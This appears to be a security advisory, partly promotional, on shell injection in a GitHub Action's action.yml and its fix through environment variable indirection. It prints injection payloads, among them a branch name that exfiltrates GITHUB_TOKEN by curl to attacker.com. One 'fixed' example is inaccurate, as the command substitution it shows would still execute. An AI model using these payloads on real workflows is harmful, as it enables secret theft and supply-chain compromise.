Understanding the Vulnerability
In a Node.js library used by countless GitHub Actions workflows, a high-severity shell injection vulnerability was identified in the action.yml file at line 56. The vulnerability existed because the action directly interpolated GitHub context variables—specifically untrusted data like pull request titles, branch names, and commit messages—into shell run: commands without any sanitization or escaping.
This is a critical issue because GitHub Actions runners execute shell commands with full access to repository secrets (stored in GITHUB_TOKEN, custom secrets, etc.). If an attacker can control the command being executed, they can:
- Extract all available secrets from the runner environment
- Modify repository code and push unauthorized commits
- Exfiltrate sensitive intellectual property
- Compromise downstream systems that depend on this action
The Original Vulnerable Code
The vulnerable pattern in action.yml:56 looked something like this:
- name: Process input
run: |
echo "Processing: ${{ github.event.pull_request.title }}"
# ... more commands using ${{ github.* }} context directly
On the surface, this appears harmless—it's just echoing a pull request title. But consider what happens if an attacker crafts a malicious pull request title:
MyPR"; echo $GITHUB_TOKEN > /tmp/stolen.txt; echo "benign
When the GitHub Actions runner processes this workflow, the interpolation happens before the shell executes it. The runner substitutes ${{ github.event.pull_request.title }} with the literal string above, resulting in:
echo "Processing: MyPR"; echo $GITHUB_TOKEN > /tmp/stolen.txt; echo "benign"
Now the shell sees three separate commands separated by semicolons:
1. echo "Processing: MyPR"
2. echo $GITHUB_TOKEN > /tmp/stolen.txt (the injection)
3. echo "benign"
The attacker's injected command executes with full runner privileges, stealing the GitHub token and any other secrets.
Why This Matters
The action.yml file is the configuration for a reusable GitHub Action. Every downstream user who incorporates this action into their workflows inherits this vulnerability. An attacker doesn't need to compromise the action's repository directly—they just need to create a PR against any repository using this action with a malicious title, branch name, or commit message to trigger code execution on the victim's runner.
For a Node.js library distributed as a GitHub Action, this is particularly dangerous because:
- Scale: The action likely appears in dozens or hundreds of workflows across organizations
- Privilege escalation: Runners often have write access to repositories and access to organization secrets
- Supply chain impact: Compromised runners can be used to inject malicious code into packages, affecting users downstream
This vulnerability represents an exploit primitive—a code pattern that automated attack tools can chain with other weaknesses. By fixing it proactively, the project raises the bar against increasingly sophisticated automated attacks.
The Fix: Environment Variable Indirection
The fix implements a defensive pattern recommended by GitHub and security best practices: environment variable indirection with proper quoting.
Before (Vulnerable)
- name: Process input
run: |
echo "Processing: ${{ github.event.pull_request.title }}"
After (Fixed)
- name: Process input
env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: |
echo "Processing: \"$PR_TITLE\""
Here's what changed and why it matters:
-
Environment Variable Binding: The untrusted value (
${{ github.event.pull_request.title }}) is moved from therun:command into theenv:section. This separates the GitHub Actions templating step from shell execution. -
Double-Quote Escaping: The environment variable is referenced with double quotes (
"$PR_TITLE") in the shell command. Double quotes in bash/sh tell the shell to treat the variable's contents as a literal string, not as code to execute. Shell metacharacters like;,|,>, etc., are treated as literal characters rather than command separators. -
Execution Flow with the Fix:
- GitHub Actions runner processes${{ github.event.pull_request.title }}→ "MyPR"; echo $GITHUB_TOKEN > /tmp/stolen.txt; echo "benign
- Sets environment variablePR_TITLEto that exact string
- Executes:echo "Processing: \"$PR_TITLE\""
- The shell sees the double quotes and treats the entire variable contents as a single string argument
- Output:Processing: MyPR"; echo $GITHUB_TOKEN > /tmp/stolen.txt; echo "benign
The semicolons and command separators are now just characters in the output, not executable shell syntax.
Why Not Just Use Single Quotes?
A common misconception is that single quotes in the run: command would work:
run: echo 'Processing: ${{ github.event.pull_request.title }}'
This does not prevent the vulnerability because:
- GitHub Actions processes
${{ }}expressions in the YAML parsing step, before the shell executes anything - Single quotes in the run command don't prevent GitHub's templating—they only affect shell expansion
- The interpolated malicious code still reaches the shell as executable syntax
The environment variable pattern works because it:
- Bypasses GitHub's template processing (the value goes through unchanged)
- Leverages shell quoting rules to treat the data as data, not code
How This Vulnerability Could Be Exploited in Practice
Attack Scenario
- Attacker discovers a GitHub organization using this action in their CI/CD workflow
- Attacker opens a pull request against the target repository with this branch name:
feature/$(curl https://attacker.com?token=$(echo $GITHUB_TOKEN | base64)) - The CI workflow runs the action, which includes code like:
yaml run: echo "Branch: ${{ github.head_ref }}" - GitHub Actions interpolates the malicious branch name into the command
- The shell executes the injected
curlcommand, exfiltrating the GitHub token to the attacker's server - Attacker uses the token to access repository secrets, modify code, or escalate privileges
Real-World Impact
For the Node.js library in question, this could mean:
- Code injection: Attacker modifies the library source to include malware
- Secret theft: Organization tokens, deploy keys, and API credentials are compromised
- Release tampering: Malicious versions published to npm under the library's name
- Downstream compromise: Every consumer of the library is now running compromised code
Testing the Fix
After applying this fix, the same attack attempt would result in:
echo "Processing: $(curl https://attacker.com?token=$(echo $GITHUB_TOKEN | base64))"
The curl command and its syntax are now just strings passed to echo. They're not executed. The attacker's injection fails safely.
Prevention & Best Practices
General Guidelines
-
Never Use
${{ }}inrun:Commands for Untrusted Data
- GitHub context variables likegithub.event.pull_request.title,github.event.issue.body,github.head_ref, andgithub.event.comment.bodyare all user-controllable
- Treat them as untrusted input, always -
Use Environment Variable Indirection
yaml env: USER_INPUT: ${{ github.event.pull_request.title }} run: | # Always use double quotes around variables command "$USER_INPUT" -
Input Validation When Possible
Even with proper quoting, validate or sanitize inputs if the logic allows:
yaml run: | if [[ "$USER_INPUT" =~ ^[a-zA-Z0-9-]+$ ]]; then process_safely "$USER_INPUT" else echo "Invalid input format" exit 1 fi -
Use Action Inputs Instead of Context When Possible
- If the action accepts inputs, use${{ inputs.parameter }}which can be more tightly controlled
- Document to users which inputs are treated as trusted vs. untrusted -
Enable Security Scanning
- Use Semgrep with theyaml.github-actions.securityruleset
- Include SAST scanning in your CI/CD pipeline
- Review security warnings from Dependabot and other dependency scanners
Detection Tools
- Semgrep: Rule
yaml.github-actions.security.run-shell-injection.run-shell-injectiondetects this pattern - GitHub Advanced Security: Dependency scanning and secret scanning can detect leaked credentials after a breach
- Manual Code Review: Look for
${{ github.event.*.* }}used directly inrun:commands without environment variable indirection
CWE Reference
- CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
- Related: CWE-94 (Improper Control of Generation of Code ('Code Injection'))
Key Takeaways
- Never interpolate
${{ github.* }}context directly into shell commands — always use environment variables as an intermediary - Double-quote environment variable references in shell scripts (
"$VAR", not$VAR) to prevent shell metacharacter interpretation - Treat all GitHub event context data as untrusted — pull request titles, issue bodies, commit messages, and branch names can all be controlled by attackers
- The fix is simple but critical — environment variable indirection is the standard GitHub Actions pattern for secure shell execution
- Automated scanners catch this — Semgrep and other SAST tools can identify these patterns before they reach production
How Orbis AppSec Detected This
Source: GitHub context data (${{ github.event.pull_request.title }}, github.head_ref, and similar event context variables) enters the workflow configuration as untrusted user-supplied input.
Sink: The dangerous call site is the run: shell command in action.yml:56 where context variables are directly interpolated into shell syntax using ${{ }} expressions.
Missing Control: There was no sanitization or escaping of the untrusted data, and no environment variable indirection to separate the templating layer from the shell execution layer.
CWE: CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Fix: Moved untrusted GitHub context variables into the env: section and updated shell commands to reference these environment variables with double quotes ("$VAR"), ensuring the data is treated as literal strings rather than executable shell code.
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
Shell injection in GitHub Actions is a high-severity vulnerability that can have cascading effects across organizations and their supply chains. The pattern of directly interpolating untrusted GitHub context data into shell commands is deceptively simple-looking but dangerous.
The good news: the fix is equally simple. By adopting environment variable indirection with proper quoting, developers can eliminate this entire class of vulnerability. This fix took only a few lines to implement but provides robust protection against code injection attacks.
For any team maintaining a GitHub Action or relying on Actions in their CI/CD pipeline, audit your workflows today for this pattern. Look for ${{ github.event.* }} used directly in run: commands and apply the environment variable fix immediately. Enable static analysis to catch these patterns automatically going forward.
Secure Actions benefit the entire GitHub ecosystem—when you fix these vulnerabilities, you're protecting not just your own code, but every downstream consumer of your action.
References
- CWE-78: Improper Neutralization of Special Elements used in an OS Command
- GitHub Actions: Security hardening for GitHub Actions
- GitHub Actions: Using variables in workflows
- Bash Manual: Double Quotes
- Semgrep Rule: yaml.github-actions.security.run-shell-injection
- OWASP Command Injection
- harden: using variable interpolation `${{ in action.yml...